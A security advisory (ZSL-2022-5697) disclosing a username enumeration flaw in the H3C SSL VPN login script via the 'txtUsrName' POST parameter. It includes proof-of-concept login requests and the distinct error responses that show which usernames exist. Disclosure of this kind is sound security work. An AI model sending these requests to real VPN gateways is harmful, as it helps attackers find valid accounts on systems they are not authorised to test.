H3C SSL VPN Username Enumeration

`  
H3C SSL VPN Username Enumeration  
  
  
Vendor: Hangzhou H3C Technologies Co. | New H3C Technologies Co., Ltd.  
Product web page: https://www.h3c.com  
Affected version: n/a  
  
Summary: H3C SSL VPN is a secure VPN system based on SSL connections. It allows mobile employees  
to access corporate networks remotely in an easy and secure way. The H3C SSL VPN devices are a  
new generation of professional SSL VPN devices for enterprises. They can function as ingress  
gateways as well as proxy gateways of internal server clusters. The SecPath SSL VPN devices are  
for small-to medium-sized enterprises, while the SecBlade SSL VPN devices are for medium-sized  
enterprises.  
  
Desc: The weakness is caused due to the login script and how it verifies provided credentials. An  
attacker can use this weakness to enumerate valid users on the affected application via 'txtUsrName'  
POST parameter.  
  
Tested on: ssl vpn gateway HttpServer 1.1  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2022-5697  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5697.php  
  
  
24.01.2022  
  
--  
  
  
Non-valid:  
----------  
  
POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi  
  
txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=root&txtPassword=123456&selDomain=1&authmethod=1&vldCode=  
  
  
<tr><td align="center">User is not exist</TD></TR>  
  
  
  
Valid:  
------  
  
POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi  
  
txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=administrator&txtPassword=123456&selDomain=1&authmethod=1&vldCode=  
  
<tr><td align="center">Input password incorrect</TD></TR>  
  
  
  
Valid:  
------  
  
POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi  
  
txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=guest&txtPassword=123456&selDomain=1&authmethod=1&vldCode=  
  
<tr><td align="center">Local user state is inactive</TD></TR>  
`